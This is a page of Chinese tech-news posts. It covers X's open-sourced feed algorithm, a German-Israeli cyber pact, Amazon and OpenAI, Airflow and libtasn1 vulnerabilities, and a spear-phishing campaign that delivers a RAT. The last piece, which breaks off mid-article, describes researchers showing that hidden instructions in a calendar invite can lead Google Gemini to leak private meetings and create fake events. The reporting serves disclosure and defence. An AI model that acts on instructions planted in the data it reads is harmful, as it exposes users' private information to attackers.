相似聚类技术（SimClusters）强化了内容的垂直领域属性。巴克警告：“坚守自身领域…… 若偏离垂直赛道（如加密货币、科技等），将无法获得任何流量支持。” 该系统会按主题对用户和内容进行聚类，对偏离主题的内容实施降权处理，以确保信息流相关性。

这些从 GitHub 代码中拆解的机制表明，算法更青睐互动性强的对话式内容，而非单纯的被动浏览。据 Hypebeast 报道，马斯克承诺将持续更新算法，以回应外界对信息流机制及 Grok 整合效果的密切关注。

开发者从代码解析中提炼运营指南

用户 @razroo_chief（查理・格林曼）基于算法逻辑设计了一款 Claude 提示词，旨在最大化多维度信号权重：“核心优化目标：停留时间…… 回复量…… 转发量…… 点赞量…… 收藏量。” 该提示词建议，内容应采用反直觉的开篇、结构化的机制解析，并以冷静、系统的语气呈现深度洞察 —— 摒弃浮夸表达，聚焦科技系统、行为模式等主题的知识性输出。

发布后首小时的早期互动数据会显著影响算法预测结果，标签（Hashtag）仍具备实用价值，而富含媒体元素的内容格式更具竞争力。标签有助于内容发现，但积累高活跃度粉丝群体，其重要性远超单一运营技巧。

@GodsBurnt 走红的指南中强调：“收藏量是黄金指标…… 停留时间：若用户未点击‘展开更多’或观看视频，内容将被降权。” 这一机制让内容传播更趋公平，奖励具有深度关联价值的内容，而非浅层数据表现。

Grok演进推动算法全面革新

马斯克过往推文记录了算法迭代轨迹：2025 年 5 月，他宣布用 Grok 替代原有算法以实现突破性优化；同年 10 月，该模型已能每日处理 1 亿条帖子，基于内容质量进行精准匹配；8 月，Grok 4 Mini 的测试版本动用了 2 万台 GPU，在延迟控制与性能提升之间实现平衡。

The Verge 回顾了马斯克 2023 年推特（现 X）的代码公开行动 —— 当时的更新并不规律，与此次承诺形成鲜明对比。路透社指出，马斯克曾在 1 月 10 日承诺，将在 7 天内公开完整的自然流量与广告算法代码。

News9live 详细报道了 Phoenix 系统从人工规则向 AI 驱动的转型，通过 Transformer 架构预测用户互动行为，且更侧重回复而非点赞数据。

透明度举措遭遇监管压力

据 TechSpot 观察，马斯克的透明度举措旨在回应外界对平台 “不透明” 的指责，但过往类似承诺的执行力度参差不齐。ComputerWeekly 强调，此次开源包含了全部推荐算法代码。

WebProNews 报道称，用户可通过自然语言自定义信息流，例如输入 “无政治内容，仅展示 AI 创新”，这一功能进一步凸显了与 Grok 模型的深度整合。而此时，欧盟与美国正针对算法偏见问题展开调查。

StockTwits 呼吁专家对开源代码进行深度评审，尽管存在部分缺失，但此次披露已覆盖推荐机制的核心运作逻辑。

对平台与创作者的深远影响

对行业内部人士而言，此次开源揭示了算法 “重预测” 的排序逻辑：早期回复会引发雪球效应，媒体内容能持续吸引注意力，垂直领域定位可集中流量资源。Hypebeast 指出，此次代码发布与外界对 Grok 的审视密切相关，X 承诺将提供完整访问权限并持续更新。

创作者需及时调整策略：快速回应评论、避免在推文中直接嵌入外部链接、打造能提升用户停留时间的内容格式。正如巴克总结的：“与受众保持互动，建立深度关系，让用户留在平台内。”

X 的开源模式向竞争对手发起挑战 —— 将 xAI 的技术优势与开放代码相结合，在公众监督下持续优化信息流。这一举措或将重塑社交媒体算法的行业生态。

德以两国承诺共建网络安全联盟

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

本月早些时候，德国内政部长亚历山大・多布林特前往特拉维夫，与以色列总理本雅明・内塔尼亚胡签署一项网络防御合作协议。多布林特在一份声明中表示：“我们希望借鉴以色列打造网络穹顶的经验。”他所指的是以色列一套较新的网络防御系统，其在访问期间现场观摩了该系统的演示。

长期以来，以色列在网络安全领域有较强的技术积累，这在很大程度上源于其兵役制度为以色列国防军8200部队输送了大量人才——该部队职能与美国国家安全局相近。以色列多家网络安全领域的企业，如威兹（Wiz）和捷邦（Check Point），均由该部队退伍人员创立。以色列的网络安全实力也基于现实需求发展而来，以色列情报官员透露，去年全球3.5%的网络攻击目标指向以色列。

以色列的网络穹顶系统早有构想，本质上是一款集中化且部分自动化的威胁检测工具，借助人工智能对来自多个来源的数据流进行整合分析。

“网络穹顶”这一名称，对应以色列运行约15年的“铁穹”导弹防御系统。在去年6月的冲突中，两套“穹顶”系统均经历了实战检验。以色列国家网络局称，冲突期间，网络穹顶成功阻止了数十起针对关键基础设施的网络攻击。

总部位于柏林的科技智库“接口”（Interface）网络安全政策与韧性研究负责人斯文・赫皮格表示：“以色列已部署本国版本的网络穹顶系统，在系统运维、升级以及构建专业化的工业网络防御和网络攻击应对生态体系方面，具备实践经验。”他指出，德国大概率会从以色列在网络穹顶研发以及网络攻击应对生态体系构建方面的技术能力中获得助力。

目前，德国联邦情报局若对向德国发起网络攻击的对象实施反击、摧毁其境外基础设施，在法律层面处于违规状态。德国政府正准备修改相关立法，调整联邦情报局的职权范围，这份法律草案预计会引发较大争议。有报道称，该机构或将获准收集并存储民众的网络活动内容，人权组织已对此表达反对态度。

暂不考虑法律层面的不确定性，赫皮格认为：“目前尚不清楚德国能从以色列的网络穹顶系统和网络攻击应对生态体系中获得多少实际借鉴与收益。”

根据协议，两国将从合作中双向受益，共同开发新一代网络穹顶系统。双方还将共建一个“人工智能与网络创新”联合中心，重点攻关车联网安全以及能源基础设施防护领域的网络安全问题。

德以两国还将携手开展无人机侦测与防御方面的合作。近年来，以色列在应对无人机袭击方面积累了大量实战经验，以色列国防部上月曾宣布在该领域取得技术突破；德国对无人机威胁的关注度也日益提升。2025年，德国共记录到1000多起可疑无人机飞行事件，该国认为这些事件多数与安全威胁相关。此前曾有无人机出现在德国军事设施上空，还导致柏林和慕尼黑的机场运行中断。

本月两国签署网络防御合作协议时，内塔尼亚胡表示，这一协议是两国现有导弹防御合作的延伸。上月，德国与以色列续签合同，扩大了“箭–3”反导系统的采购规模。该系统近期被以色列用于拦截伊朗和胡塞武装发射的导弹，以色列方面称其具备反卫星能力。此次合同续签后，交易总价值达到约65亿美元，为以色列迄今为止最大的军售订单。

亚马逊 100 亿美元押注 OpenAI，旨在推动AI驱动零售的变革

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

亚马逊首席执行官安迪・贾西（Andy Jassy）设想，在竞争对手纷纷推出 AI 购物代理的背景下，人工智能将通过复制实体店的 “惊喜发现感” 来改变零售业。亚马逊正在谈判向 OpenAI 投资约 100 亿美元，并与芯片使用量挂钩；与此同时，亚马逊也在开发 “帮我买”（Buy For Me）等内部工具，以维持其主导地位。这一战略转向旨在将创新与合作伙伴关系结合起来，以在未来的 AI 商务领域保持领先。

亚马逊的贾西在 AI 商务大战中前行：在购物代理竞争中押注 OpenAI

在达沃斯世界经济论坛的繁忙大厅里，亚马逊公司首席执行官安迪・贾西最近分享了他对零售业未来的愿景，强调人工智能可能会彻底改变消费者的购物方式。在一场小组讨论中，贾西指出，AI 有潜力弥合线上和线下购物体验之间的差距，并表示先进技术可能很快就能复制在实体店闲逛时那种 “偶然发现好物” 的感觉。

“在我看来，实体零售目前仍有一些优势的地方，是你可以走进店里，不知道自己想要什么，提出问题，不断细化问题，然后有人会给你推荐一些你甚至不知道存在的东西。” 据《The Information》报道，贾西这样说道。

这番评论发表之际，这家电商巨头正面临来自 OpenAI、谷歌和微软等竞争对手开发的 AI 购物代理的激烈竞争。这些工具允许用户直接在聊天界面内完成购买，对亚马逊在在线零售领域的主导地位构成潜在威胁。贾西的言论凸显了亚马逊的战略转向：它不仅在捍卫自己的地盘，还在积极探索合作伙伴关系，以在这个不断演变的领域保持领先。

最近的报道显示，亚马逊正就向 OpenAI 投资约 100 亿美元 进行深入谈判，这笔交易可能使这家 AI 公司的估值超过 5000 亿美元。据路透社 2025 年末的一篇文章详细报道，这笔潜在交易还包括 OpenAI 承诺使用亚马逊的 Trainium AI 芯片，这标志着双方技术联盟的深化。

AI 发展中的战略联盟

贾西对 AI 在提升购物体验方面作用的乐观态度，与更广泛的行业趋势一致。分析师指出，2026 年将是 AI 购物代理的关键一年，消费者将越来越多地为了便利和个性化而测试这些工具。《Modern Retail》的一篇文章指出，零售商和科技巨头正竞相完善这些代理，并押注它们会被广泛采用。

亚马逊面临的困境十分严峻：要么抵制这些可能绕过其平台的外部代理，要么整合类似功能以保留用户忠诚度。根据 CNBC 的分析，OpenAI 的 “即时结账”（Instant Checkout）和 Perplexity 的 “即时购买”（Instant Buy）等创新正在重塑交易方式，有可能将流量从传统电商网站分流。

作为回应，亚马逊一直在测试自己的功能，例如 “帮我买”（Buy For Me）选项，该功能允许用户在不离开亚马逊生态系统的情况下从第三方网站购买商品。行业观察人士在 X 上的帖子指出，这是一种防御策略，有用户注意到 AI 代理现在可以在一次对话中完成从产品研究到结账的所有操作，凸显了竞争压力。

与科技巨头的正面交锋

AI 与商务的融合，使主要参与者走上了直接竞争的道路。《The Information》的一篇报道描述了谷歌、亚马逊和 OpenAI 各自如何追求不同的战略，从专有代理到协作商务模式。这场竞争还延伸到了微软，微软最近推出了 “Copilot Checkout”，允许在其 AI 聊天机器人中无缝完成购买。

GeekWire 报道了微软进入这一领域的消息，并强调其企业关系可能使其相对于亚马逊和其他公司具有优势。“微软正在推出一项新的‘Copilot Checkout’功能，让购物者可以直接在其 AI 聊天机器人内完成购买，”GeekWire 的文章指出，并强调了在 AI 驱动的商务中对零售商关系的押注。

贾西在达沃斯的亮相中也谈到了围绕 AI 投资的泡沫担忧。《The Register》的一篇最新报道援引他的话称，他承认存在炒作，但重申亚马逊致力于从中挖掘价值，即使这些交易看起来有些 “循环”。

OpenAI 合作关系动态

对 OpenAI 潜在的 100 亿美元投资不仅仅是财务上的，更是为了确保技术优势。正如《Fortune》一篇文章所引用的专家观点，这被视为亚马逊在 “下一盘大棋”。分析师查尔斯・菲茨杰拉德（Charles Fitzgerald）表示：“如果 OpenAI 中了‘彩票’，那么他们就有足够的钱来支付这笔费用。” 他指的是芯片使用协议。

这种关系建立在亚马逊现有的 AI 计划之上，包括其 AGI 团队正努力超越 Anthropic 等合作伙伴的模型。2024 年 X 上的历史帖子回顾了亚马逊对 Anthropic 的投资，但此次转向 OpenAI 表明，在 OpenAI 自身内部发生变化的背景下，亚马逊正在采取多元化战略。

《印度时报》最近的消息详细报道了 OpenAI 从其前首席技术官领导的初创公司挖走人才的情况，这表明 OpenAI 内部存在动荡，而亚马逊可能通过投资加以利用。

正在重塑零售互动的创新

除了投资之外，亚马逊还在将 AI 深度嵌入其运营中。贾西 2025 年在 X 上的帖子宣传了新的智能体式 AI（agentic AI）功能，这些功能可以通过分析数据和自动化任务来帮助卖家扩展业务。这种内部关注与外部合作伙伴关系相辅相成，旨在创造无缝的购物旅程。

《Wired》探讨了一些开发者不愿让 AI 代理作为用户互动中介的担忧，正如一篇 WIRED 文章所讨论的那样，AI 正成为下一个平台。然而，亚马逊仍在推进，AI 已用于预测需求、优化配送路线，甚至在仓库中提供协助，正如 2023 年的 X 帖子所展示的那样。

X 上的行业情绪反映了对这些进步的兴奋。有帖子称，像亚马逊这样的数字商务平台正将 AI 转变为核心基础设施，触及从推荐到配送的各个方面。

挑战与消费者采用

尽管热情高涨，但挑战依然存在。贾西在达沃斯的评论提到了实体零售仍然持有的优势，这意味着 AI 必须不断发展，才能匹配那种探索的乐趣。分析师警告称，2026 年消费者对 AI 代理的接受程度将是真正的考验，正如《Modern Retail》的分析所指出的那样。

此外，潜在的 OpenAI 交易引发了有关反垄断审查的问题，考虑到投资规模和市场影响力。路透社关于谈判的报道强调了估值方面的影响，这可能会重塑 AI 融资动态。

a16z 等风险投资公司在 X 上的帖子认为，AI 正在将在线购物模式从 “量” 转向 “质” 和个性化，亚马逊必须谨慎应对这一转变，以免被边缘化。

AI 商务整合的未来轨迹

展望未来，亚马逊的战略似乎是多方面的：投资尖端 AI 公司、开发内部工具，并适应新兴的消费者行为。贾西早些时候在 2023 年 X 帖子中对 “亚马逊在 AI 方面落后” 的说法提出质疑，这表明他一贯强调实质而非炒作。

《The Information》详细描述了亚马逊与谷歌和 OpenAI 的正面竞争，这表明可能会出现共享商务模式，但专有优势将决定胜负。正如 GeekWire 所指出的，微软的 Copilot 举措又增加了一层竞争，它将利用其企业关系。

最终，随着 AI 设备的普及，《Wired》指出开发者存在犹豫，但亚马逊的规模可能使其处于领先地位。贾西在达沃斯提出的愿景强调了 “细化问题” 和 “发现”，指向一个未来：AI 代理将充当虚拟商店助理，将在线效率与线下的惊喜发现感完美结合。

在投资与内部增长之间取得平衡

亚马逊对 OpenAI 的潜在注资并非孤立存在，而是更广泛战略推进的一部分。《Fortune》的专家强调了这种战略耐心，亚马逊押注 OpenAI 的成功将推动芯片的采用。

内部开发项目，例如 2024 年 X 帖子中提到的 Olympus LLM，表明亚马逊在合作的同时也致力于自力更生。这种双轨方式可以减轻 OpenAI 危机带来的风险，正如《印度时报》所报道的那样。

X 用户最近对亚马逊的 “帮我买” 功能表示赞赏，认为它是对 OpenAI 即时结账的反击，有助于维持生态系统的控制权。

竞争压力与市场反应

根据《Modern Retail》的说法，AI 购物大战正在升温，2026 年将是关键时期。正如 CNBC 所描述的那样，亚马逊面临的困境是：与这些代理对抗，还是加入它们。

贾西在《The Register》中对 “泡沫” 的承认反映了他在乐观中的现实态度。“当然这是一个泡沫，而且这些交易是循环的 —— 但这并不意味着亚马逊不会努力从中榨取价值。” 他说。

X 上的情绪强调了 AI 在电商基础设施中的作用，从亚马逊到沃尔玛和 Shopify 等竞争对手，正如一篇帖子所对比的那样。

不断演变的消费者期望

消费者可能很快就会期望 AI 能够无缝处理复杂的购物任务。《The Information》对达沃斯的报道援引贾西的话，强调实体零售的优势，这正推动亚马逊在数字领域进行创新。

《Wired》关于 AI 平台的文章警告称存在开发者的抵制，但亚马逊的整合可能会促进采用。

正如 X 上的帖子所暗示的那样，AI 正在从头开始重塑购物，重点放在用户体验和价格优化上 —— 而这些正是亚马逊擅长的领域。

亚马逊的战略展望

在这种高风险环境下，亚马逊与 OpenAI 的谈判代表着一场大胆的赌注。路透社详细报道了 100 亿美元的数字，并将其与芯片承诺挂钩。

《Fortune》分析师认为，这是一种长期定位，将 OpenAI 视为 “AI 领域的舒洁（Kleenex）”。

贾西的领导能力在他关于卖家工具的 X 帖子中显而易见，这使亚马逊能够将 AI 创新与零售实力结合起来，从而在竞争中脱颖而出。

正如《The Information》所概述的那样，前进的道路包括在竞争中导航，确保亚马逊在 AI 商务的演变过程中保持核心地位。

Apache Airflow漏洞导致敏感工作流数据面临潜在攻击风险

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

Apache Airflow 已修复其 3.1.6 版本之前存在的两个独立的凭证泄露漏洞。

这些漏洞可能允许攻击者通过日志文件和 Web 界面，提取嵌入在代理配置和模板化工作流字段中的敏感认证数据，进而可能危及网络基础设施和敏感数据管道的安全。

第一个漏洞影响 Apache Airflow 3.1.6 之前的版本，根源在于 Connection 对象中对代理 URL 的处理不当。

维度	CVE-2025-68675	CVE-2025-68438
受影响版本	Apache Airflow < 3.1.6	Apache Airflow 3.1.0–3.1.6
严重程度	低	低
泄露数据	代理凭证	API 密钥、令牌、机密信息
涉及组件	连接代理字段	渲染模板 UI
修复版本	3.1.6	3.1.6

代理配置通常以 http://username:password@proxy.example.com:8080 的形式包含嵌入式认证凭证。

这些字段未被标记为敏感信息，这意味着每当连接被渲染或显示时，代理凭证都会以明文形式记录在日志中。

在 Airflow 的日志架构中，当用户查看连接详情、排查数据管道问题或访问审计日志时，任何拥有日志访问权限的人都能看到这些代理凭证。

这在多团队共享 Airflow 实例的环境中尤其危险 —— 攻击者或心怀不满的内部人员可能提取这些凭证，用于拦截网络流量或通过代理基础设施横向移动。

第二个漏洞影响 Airflow 3.1.0 至 3.1.6 版本，涉及渲染模板 UI 中机密信息的屏蔽机制不当。

然而，序列化过程中使用的机密信息屏蔽实例未识别用户注册的 mask_secret() 模式，导致敏感值在被截断前未被屏蔽而直接暴露。

该漏洞使拥有 Web 界面访问权限的攻击者，能够在渲染模板中查看 API 密钥、数据库凭证和令牌等敏感数据。

由于截断操作发生在序列化之后而非之前，屏蔽层失效，机密信息会完整暴露（除非恰好落在被截断的部分）。

这两个漏洞均要求攻击者要么直接访问日志文件，要么获得 Airflow Web 界面的认证权限，这也降低了它们的严重程度评级。

但在云环境中，日志通常会被集中汇总并允许跨团队访问，且 Web 界面的访问权限可能被广泛授予。

Apache 已在 3.1.6 版本中修复了这两个问题。企业应优先立即升级，因为这些漏洞会直接危及认证机密的安全。

此外，管理员应审查日志保留策略，并在集中式日志系统中实施机密信息编辑规则，以防止凭证意外泄露。

如需临时缓解风险，企业可限制 Airflow 日志和 Web 界面的访问权限、实施 IP 白名单，并轮换可能已泄露的所有凭证。

安全团队应审计近期日志，排查可疑的认证尝试或未授权的代理访问行为。

这两个漏洞由 lwlkr 和威廉・阿什发现，分别由安基特・乔拉西亚和阿莫格・德赛开发了修复方案。

依赖 Airflow 进行数据管道编排的用户，应将此次升级视为保护工作流基础设施和下游系统安全的关键任务。

密码学基础被攻破：GNU libtasn1中存在一字节溢出漏洞（CVE-2025-13151）

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

GNU libtasn1 中被发现一个潜在危险的漏洞。该库是无数应用用于处理安全通信和数字签名的基础软件组件。漏洞编号为 CVE-2025-13151，CVSS 评分为 7.5，属于栈缓冲区溢出，可能在安全敏感场景中导致内存破坏。

该库是密码学供应链中的关键组件，负责实现 ASN.1 数据结构的解析规则 —— 这正是 X.509 数字证书和 SSL/TLS 协议所使用的格式。

漏洞位于 decoding.c 文件中的 asn1_expand_octet_string 函数深处。根据漏洞说明，问题源于 “不安全的字符串拼接”，代码在构造局部栈缓冲区时没有进行适当的边界检查。

在一个典型的编程疏忽中，开发者使用了 “无界字符串操作函数（strcpy 和 strcat）” 来将两个名称与一个点分隔符拼接在一起。

“在最坏情况下，两个源字符串都可能达到其最大允许长度，” 报告解释说。“当它们与一个额外的分隔符（‘.’）和一个终止 null 字节拼接时，目标缓冲区的大小少了一个字节。”

这个看似微小的计算错误导致最终的 null 终止符 “溢出分配的栈缓冲区一字节”。

虽然一字节溢出听起来微不足道，但在密码学领域，精度至关重要。“历史上，一字节栈溢出曾导致微妙的内存破坏问题，并可能在签名验证或证书解析等加密操作中引发崩溃或其他意外行为。”

不过，也存在一些缓解因素。触发该漏洞需要攻击者向库提供 “畸形的 ASN.1 数据”，这实际上打破了 “数据已由主应用验证” 的假设。此外，现代防御机制如 “栈保护（stack canaries）” 和 _FORTIFY_SOURCE 可能会限制漏洞被成功利用的可能性。

该漏洞由微软研究院的 Benny Zelster 披露。GNU libtasn1 项目已收到修复不安全字符串处理的补丁。

开发者和集成商被敦促 “评估该补丁并采取适当的缓解措施，例如使用有界字符串操作”，以消除其安全应用中的这一隐藏风险。

新型鱼叉式钓鱼攻击借阿根廷联邦法院裁决掩护，植入远程访问木马（RAT）

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

一场针对阿根廷司法系统的高精准鱼叉式钓鱼攻击已悄然出现，攻击者利用人们对合法法院通信的信任，投放危险的远程访问木马（RAT）。

该攻击活动使用看似真实的联邦法院预防性羁押复审文件，诱使法律专业人士下载恶意软件。

安全专家已将此次攻击归类为高度定向攻击，它采用多阶段感染技术，旨在长期获取敏感法律与机构系统的访问权限。

攻击始于收件人收到包含 ZIP 压缩包的邮件，该压缩包伪装成官方司法通知。

压缩包内，攻击者植入了一个伪装成 PDF 的恶意 Windows 快捷方式文件（LNK），同时包含一个批处理脚本加载器和一份看似真实的法院裁决文件。

当受害者点击看似标准的 PDF 文件时，恶意执行链随即启动，同时会显示一份极具迷惑性的诱饵文档以避免引起怀疑。这种社会工程学手法让该攻击在日常处理法院文件的司法人员中格外有效。

Seqrite 的分析人员发现了这一攻击活动，并揭露了其复杂的多阶段传播机制。

研究团队发现，该恶意软件专门针对阿根廷法律行业，包括司法机构、法律专业人士以及与司法系统相关的政府部门。

诱饵文档以极高的精度模仿阿根廷联邦法院的真实裁决文件，使用正式的法律西班牙语、规范的案件编号、司法签名，并引用真实机构（如刑事与矫正口头法庭）。

这种高度的细节还原大幅提升了攻击在目标受害者中的成功率。

感染机制：从快捷方式到远程访问木马（RAT）的部署

该攻击采用三阶段感染流程，旨在规避检测。恶意 LNK 文件会以隐藏模式启动 PowerShell，绕过执行策略以运行批处理脚本，该脚本连接到托管在 GitHub 上的基础设施。

此脚本会下载第二阶段载荷，该载荷伪装成 “msedge_proxy.exe”，存储在 Microsoft Edge 用户数据目录中以显得合法。

最终载荷是一个基于 Rust 语言开发的远程访问木马（RAT），具备强大的反分析能力。

该 RAT 在执行前会进行全面的环境检查，扫描虚拟机、沙箱和调试工具。如果检测到分析工具，恶意软件会立即终止运行以避免被调查。

一旦成功运行，它会建立加密的命令与控制通信，为攻击者提供包括文件窃取、持久化安装、凭证窃取，甚至通过模块化 DLL 组件部署勒索软件等多种功能。

Google Gemini漏洞可被攻击者利用获取私人日历数据

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

安全研究人员发现了 Google Gemini 中的一个漏洞，该漏洞允许隐藏在会议邀请中的指令提取私人日历数据并创建具有欺骗性的日程事件。

安全研究人员披露，Google Gemini 人工智能助手中存在一处缺陷，攻击者只需在会议邀请中植入精心构造的隐藏文本，就能悄无声息地获取用户的私人日历数据。

该漏洞由网络安全公司 Miggo 发现。该公司称，他们找到了一种绕过 Google 日历隐私控制的方法 —— 在日历事件描述中嵌入隐藏指令。在一篇解释此项研究的博客中，Miggo 指出，这一漏洞揭示了 AI 系统如何通过日常自然语言而非恶意代码被操控。

Miggo 研究主管利亚德・埃利亚胡表示：“这种绕过方式使得攻击者可以在无需用户任何直接交互的情况下，未经授权访问私人会议数据并创建具有欺骗性的日历事件。”

将 Gemini 的 “乐于助人” 变为攻击用户的工具

Gemini 在 Google 日历中扮演助手角色，可回答用户诸如 “我有哪些会议” 或 “某一天是否有空” 等问题。为此，它会自动读取事件标题、描述、时间及参会者详情。

Miggo 指出，正是这种集成机制成为了安全短板。

Miggo 解释道：“由于 Gemini 会自动导入并解析事件数据以提供帮助，攻击者只要能影响事件字段，就可以植入自然语言指令，供模型后续执行。”

在攻击场景中，攻击者向受害者发送日历邀请，事件描述中隐藏着一段用普通文字编写的提示。这段文字看起来毫无可疑之处，也不需要受害者点击任何链接。

恶意指令会一直处于休眠状态，直到受害者日后向 Gemini 提出一个正常问题（例如 “我某天是否有空”）时，就足以触发攻击代码的执行。

2026年1月

✨ 主要功能

1. 通知中心增强

2. 主题列表增强

3. 个性化设置

!. 还会有更多功能...

⬇️ 安装方法

相关链接

建议反馈

TL; DR

环境搭建

漏洞分析

gpsvc 任意文件写分析

逆向分析

telemetry 命令文件分析

Diff Patch

思考

Reference link

前言

漏洞细节

Stack Overflow

Infor Leak

认证绕过

一个好玩的非预期

参考链接

TL; DR

环境

Exploit

Overview Data Structure

Searching Data Structure Gadgets

ROP Chain

Reference link

TL；DR

漏洞分析

固件解压和调试准备

漏洞成因

Exploit

Reference link

TL; DR

固件提取

decrypt

shell 获取

CVE-2025-0282

Diff patched

PoC

exploit

Reference link

前言

公开 slide

前言

公开 slide

漏洞分析

nss_database_check_reload_and_get 分析

reload_disabled

load evil library

复现

Patched

思考

Reference link

CVE-2025-32023

漏洞原理

PoC 构造

构造越界 payload

寻找越界写目标

完整的利用流程

Reference link

Transformer核心赋能互动预测

回复链与停留时间成关键信号

链接惩罚与垂直领域锁定重塑发布策略

开发者从代码解析中提炼运营指南

Grok演进推动算法全面革新

透明度举措遭遇监管压力

对平台与创作者的深远影响

亚马逊的贾西在 AI 商务大战中前行：在购物代理竞争中押注 OpenAI

AI 发展中的战略联盟

与科技巨头的正面交锋

OpenAI 合作关系动态

正在重塑零售互动的创新

挑战与消费者采用

AI 商务整合的未来轨迹